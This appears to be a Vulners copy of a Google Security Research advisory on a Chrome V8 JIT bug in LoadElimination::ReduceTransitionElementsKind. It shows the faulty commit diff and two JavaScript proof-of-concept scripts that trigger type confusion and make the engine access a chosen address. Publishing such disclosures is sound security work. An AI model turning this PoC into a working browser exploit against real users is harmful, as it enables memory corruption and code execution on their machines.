Lucene search
K

Chrome V8 JIT LoadElimination::ReduceTransitionElementsKind Bug

🗓️ 11 Apr 2018 00:00:00Reported by Google Security ResearchType 
packetstorm
 packetstorm
🔗 packetstormsecurity.com👁 29 Views

A bug in Chrome V8 JIT LoadElimination::ReduceTransitionElementsKind functio

Code
`Chrome: V8: JIT: A bug in LoadElimination::ReduceTransitionElementsKind   
  
  
  
  
I think this commit has introduced the bug: <a href="https://chromium.googlesource.com/v8/v8.git/+/9884bc5dee488bf206655f07b8a487afef4ded9b" title="" class="" rel="nofollow">https://chromium.googlesource.com/v8/v8.git/+/9884bc5dee488bf206655f07b8a487afef4ded9b</a>  
  
Reduction LoadElimination::ReduceTransitionElementsKind(Node* node) {  
...  
if (object_maps.contains(ZoneHandleSet<Map>(source_map))) {  
object_maps.remove(source_map, zone());  
object_maps.insert(target_map, zone());  
- AliasStateInfo alias_info(state, object, source_map);  
- state = state->KillMaps(alias_info, zone());  
- state = state->AddMaps(object, object_maps, zone());  
+ state = state->SetMaps(object, object_maps, zone());  
}  
...  
}  
  
I think the "state->KillMaps(alias_info, zone());" accidentally was removed. This lack may lead CheckMap instructions to be removed incorrectly.  
  
A PoC demonstrating type confusion:  
function opt(a, b) {  
b[0] = 0;  
  
a.length;  
  
// TransitionElementsKind  
for (let i = 0; i < 1; i++)  
a[0] = 0;  
  
// CheckMap removed, type confusion  
b[0] = 9.431092e-317; // 0x1234567  
}  
  
let arr1 = new Array(1);  
arr1[0] = 'a';  
opt(arr1, [0]);  
  
let arr2 = [0.1];  
opt(arr2, arr2);  
  
%OptimizeFunctionOnNextCall(opt);  
  
opt(arr2, arr2);  
arr2[0].x // access 0x1234566  
  
Without natives syntax:  
function opt(a, b) {  
b[0] = 0;  
  
a.length;  
  
// TransitionElementsKind  
for (let i = 0; i < 1; i++)  
a[0] = 0;  
  
b[0] = 9.431092e-317; // 0x1234567  
  
// Force optimization  
for (let i = 0; i < 10000000; i++) {  
  
}  
}  
  
let arr1 = new Array(1);  
arr1[0] = 'a';  
opt(arr1, [0]);  
  
let arr2 = [0.1];  
opt(arr2, arr2);  
  
opt(arr2, arr2);  
arr2[0].x // access 0x1234566  
  
  
This bug is subject to a 90 day disclosure deadline. After 90 days elapse  
or a patch has been made broadly available, the bug report will become  
visible to the public.  
  
  
  
  
Found by: lokihardt  
  
`

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation